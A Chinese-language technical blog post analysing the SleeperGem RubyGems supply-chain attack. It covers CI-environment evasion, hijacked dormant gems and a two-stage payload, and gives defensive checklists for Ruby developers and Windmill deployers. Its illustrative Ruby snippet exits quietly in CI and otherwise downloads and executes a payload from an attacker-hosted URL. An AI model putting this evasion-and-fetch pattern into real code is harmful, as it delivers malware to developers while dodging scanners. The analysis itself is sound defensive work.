SleeperGem 技术拆解:恶意 gem 是怎么躲过 CI/CD 扫描的

7 月 18 日,RubyGems 上出现了一个看起来很普通的版本发布:git_credential_manager 2.8.0。名字读起来像微软官方的 Git Credential Manager,下载量积累也不小。这是一系列 CVE-2026-29059(CVSS 7.5,针对 Windmill,约 170 系统在野被利用)等开源生态高危漏洞同期曝光中的一个。The Hacker News 在 4 天后对此做了详细报道。

但 4 天后,StepSecurity 的分析报告让这个包变成了 SleeperGem 案例的开端。

这篇文章想从技术角度拆解 SleeperGem 的检测规避机制,以及它给 Ruby 开发者留下的可操作清单。

当 CI/CD 变成扫描的盲区

SleeperGem 的恶意代码里有一段值得展开的检测逻辑。如果代码检测到自己在 CI/CD runner 里(GitHub Actions、GitLab CI、Jenkins、Buildkite 等大约 30 个常见环境变量),就直接 exit 0,装作什么事都没发生。只有当它运行在真实开发者机器上时,才去拉取第二阶段 payload。

这段逻辑的实现不算复杂:维护一个环境变量列表(GitHub Actions 的 GITHUB_ACTIONS、GitLab CI 的 GITLAB_CI、Jenkins 的 JENKINS_URL、Buildkite 的 BUILDKITE 等),加上 fallback 的 CI 通用变量。命中任何一个就放行。

但它的杀伤力很大。包扫描平台(Socket、StepSecurity、Aikido 等)通常在 CI 环境跑 runner,恶意代码不会触发。沙箱分析平台如果是云端跑 runner,同样不会触发。开源项目的安全 CI 配置默认信任已发布的包,根本不会扫。

最后真正能检测到的场景,是真实开发者在本地 bundle install 的时候。但这种场景下用户的警惕性最低,因为安装过程看不到任何异常输出。

这是一个系统性的盲区:被动扫描信任了 CI 环境,CI 环境又被恶意代码主动识别。两者叠在一起,扫描就空了。

一个简化版的环境检测代码

为了直观理解这个机制,下面是一个简化版的检测逻辑(仅用于演示,不是 SleeperGem 实际代码):

ruby 复制代码
# 简化版 CI/CD 环境检测
def running_in_ci?
  ci_indicators = %w[
    GITHUB_ACTIONS
    GITLAB_CI
    JENKINS_URL
    BUILDKITE
    CIRCLECI
    TRAVIS
    CI
  ]
  ci_indicators.any? { |var| ENV[var] }
end

if running_in_ci?
  exit 0  # 装作没事
else
  # 下载并执行第二阶段 payload
  download_and_execute("https://git.disroot.org/attacker/payload")
end

实际 SleeperGem 的检测列表更长(约 30 个环境变量),但核心逻辑就是这个。

值得展开的一个细节是检测顺序。攻击者不会先检查 30 个变量再放行,而是按命中概率排序,先检查最常见的 CIGITHUB_ACTIONSGITLAB_CI,命中就直接退出。这种优化让检测耗时降到接近零,安装过程的额外延迟可以忽略。

另一个细节是容错处理。如果运行环境检测出现异常(比如 ENV 访问失败),攻击者的代码默认行为是放行而不是报错。这种"宁错杀"的逻辑在攻击代码里很常见,因为漏报一次的成本远高于误报一次。

第二阶段 payload 的执行链

git_credential_manager 这个包在 7 月 18 日发布的版本中实际做了这些事:

第一步,检测运行环境(CI/CD vs 真实开发者机器)。第二步,如果是真实开发者机器,从 git.disroot.org(一个 Forgejo 实例)拉取第二阶段 payload。第三步,payload 包含一个 Shell 脚本和一个原生二进制。第四步,在 Windows 上通过 PowerShell 执行二进制。

这是一个典型的两阶段供应链攻击。第一阶段是 Ruby 代码(被 gem 安装机制信任),第二阶段是原生二进制(绕过了 Ruby 生态的审计范围)。

第二阶段 payload 的来源值得注意。git.disroot.org 是一个公共的 Forgejo 实例,任何人都可以注册账号创建仓库。攻击者使用它来托管恶意 payload,避免直接在自己的服务器上暴露证据。这种"借用公共代码托管平台"的手法在 2025 年后变得越来越常见。

长期休眠包被劫持的传播路径

SleeperGem 涉及的三个包都值得展开看。

git_credential_manager 于 2026 年 7 月 18 日发布,从 2.8.0 到 2.8.3 被植入恶意代码。攻击者利用它的名字混淆(容易被认为是微软官方工具),同时把它传播到了至少 5 个下游包的依赖列表里。装任何一个上游包,恶意依赖都会被自动拉下来。

Dendreo(版本 1.1.3-1.1.4)2017 年发布,2020 年后沉寂,2026 年突然更新。维护者账号在沉寂 6 年后被劫持。

fastlane-plugin-run_tests_firebase_testlab(版本 0.3.2)2018 年后沉寂,2026 年突然更新。同样是维护者账号被劫持。

Dendreo 和 fastlane-plugin 共同的特点是:维护者七年前还在活跃,之后就再没动过。2026 年突然发了新版本,commit message 像是维护者回归,实际控制人已经换人了。

这种攻击模式的成本结构是:找到一个沉睡多年的 RubyGems 账号,可能只需要撞库或者社工其早年用过的弱密码。然后用这个账号发一个带恶意代码的新版本,借用原有的下载量和依赖关系做传播。整个流程的成本接近于零。

开发者可以立刻做的几件事

针对 SleeperGem 这类攻击,给开发者列一份可操作的清单。

装新 gem 之前先看 commit history。如果一个包沉寂多年突然更新,不要直接装。先看 commit 内容是否符合原作者风格,可以用 git log --pretty=format:"%h %ae %s" -n 10 看最近 10 个提交的作者邮箱和 message。

gem dependency 查依赖链。装一个包之前先看它拉取的所有依赖,对陌生的依赖做单独检查。命令是 gem dependency <package_name> --remote,输出会列出所有传递依赖。

锁定明确的版本范围。Gemfile 里用 ~> 而不是 >=,避免被新发布的中间版本劫持。例如 gem 'rails', '~> 7.0' 表示接受 7.0.x 系列更新,但不接受 7.1.x。

监控 gem 维护者的活动状态。如果一个核心依赖的维护者最近 6 个月没活动,开始考虑替代品或接管计划。可以用 gem owner <package_name> 查看当前维护者列表。

建立本地的 gem 镜像。企业级应用推荐搭建本地 RubyGems 镜像或 Gemstash,对所有外部包做缓冲和审计。配置方法是在 Gemfile 顶部加 source 'https://your-internal-mirror/'

CI 配置里加恶意行为检测。除了常规的安全扫描,对安装阶段的行为做监控,例如异常的网络请求、进程 fork、系统调用。可以用 Falco 或者 Tracee 这类工具做运行时 eBPF 监控。

Windmill 这类工具的部署注意事项

掘金读者另一个常见场景是部署 Windmill 这类内部工具平台。给几个实操建议。

升级到 1.603.3 或更高版本。这是 CVE-2026-29059 的修复版本,2026 年 1 月发布。可以用 docker pull ghcr.io/windmill-labs/windmill:main 拉取最新镜像。

公网暴露必须套反代。不要让 Windmill 直接暴露在公网上,用 nginx 或者 Caddy 做反向代理,并加 IP 白名单或 Basic Auth。一个最小配置的 nginx 反代示例:

nginx 复制代码
location / {
    proxy_pass http://127.0.0.1:8000;
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    allow 10.0.0.0/8;
    deny all;
}

关闭 SUPERADMIN_SECRET 环境变量,或者只在调试时开启。生产环境尽量不用这个功能。Windmill 配置文件里如果启用,需要在升级后重新检查 token 是否轮换。

配置日志审计。Windmill 的作业执行日志要集中收集,便于事后追查。日志路径在 /var/log/windmill/,可以用 Filebeat 推到 Elasticsearch。

定期扫自己的资产。用 shodancensys 查一下自己组织的 IP 段,看看有没有忘了关的 Windmill 实例。命令行工具 shodan search org:"Your Company" product:"Windmill" 可以直接列出。

持续监控这个生态

Socket 研究人员在同期还发现了另一个活动,滥用 150 个 RubyGems 包作为数据外泄通道。和 SleeperGem 是同一个生态里的不同操作模式。

攻击者已经找到了稳赢的打法,防御侧的响应还停在批量注册的检测模型上。这个时间差,是接下来一两年 Ruby 生态安全的主要风险来源。

值得关注的两个开源项目:Socket 的 socketdev/socket-ruby 提供包级别的安全扫描 API,可以集成进 CI;StepSecurity 的 step-security/harden-runner 提供 GitHub Actions 的运行时安全监控。两者结合可以覆盖 SleeperGem 这类攻击的大部分检测场景。

检测侧的工程实践

如果要给团队配一套偏 SleeperGem 风格的检测,有几个建议。

第一层是包级别的签名校验。RubyGems 支持自签名 gem,可以用 gem cert --build 生成自签证书,配合 Gemfile 里的 source_cert 选项做强制签名校验。但这套机制在生态里用得不普遍,主要是合规成本高。

第二层是依赖图的持续监控。可以用 bundle outdated 配合 gemnasium 或者 dependabot,对长期不更新的依赖做告警。但这只能解决"依赖过期"问题,无法解决"依赖被劫持后看起来正常"的问题。

第三层是运行时行为审计。在 CI runner 里部署 Falco 或者 Tracee,监控 bundle install 期间的网络请求和进程 fork 行为。如果一个 gem 在安装阶段突然请求 git.disroot.org 这种异常域名,立即告警。

第四层是镜像构建期的二次扫描。在企业内部搭建 gem 镜像,所有外部包先经过 socketdev 或者 step-security 的扫描再入库。这个流程比逐个 CI 集成更高效,适合中等规模团队。

这几层叠加起来,能覆盖 SleeperGem 类攻击的多数场景。前提是团队愿意投入工程资源,而不是依赖 registry 平台方单方面解决。

相关推荐
酉鬼女又兒2 小时前
[特殊字符]零基础入门AI:归纳演绎、假设空间、归纳偏好、NFL、过拟合与欠拟合、模型评估选择、超参数、性能度量、混淆矩阵、P-R曲线和F1
人工智能·windows·python·深度学习·安全·机器学习·矩阵
●VON4 小时前
鸿蒙 PC Markdown 编辑器 Alpha 评审:如何用退出条件判断阶段完成
网络·安全·华为·编辑器·harmonyos·鸿蒙
zzq77974 小时前
Android 16 API 36 升级后 APP 加固兼容性问题解析
android·开发语言·安全·kotlin·安卓·安全架构
迷茫中的自我4 小时前
GitHub Actions自动化运维实战:从CI/CD到云原生部署
运维·自动化·github
绘梨衣的sakura路14 小时前
Fastjson ≤ 1.2.83 新型 RCE 漏洞深度分析:三层绕过机制与完整利用链
安全·web安全·json
北龙云海14 小时前
案例分享 | 面向公网业务系统境内访问白名单配置实操方案
运维·网络·安全·网络安全·告警·数据泄露·入侵攻击
官乐15 小时前
如何去创建Github仓库
github
niaiheni17 小时前
Fastjson 1.2.83 “Gadget-Free“ RCE
网络·安全·web安全
意疏17 小时前
远程办公软件哪个安全性高?UU远程8项安全防线全覆盖
网络·安全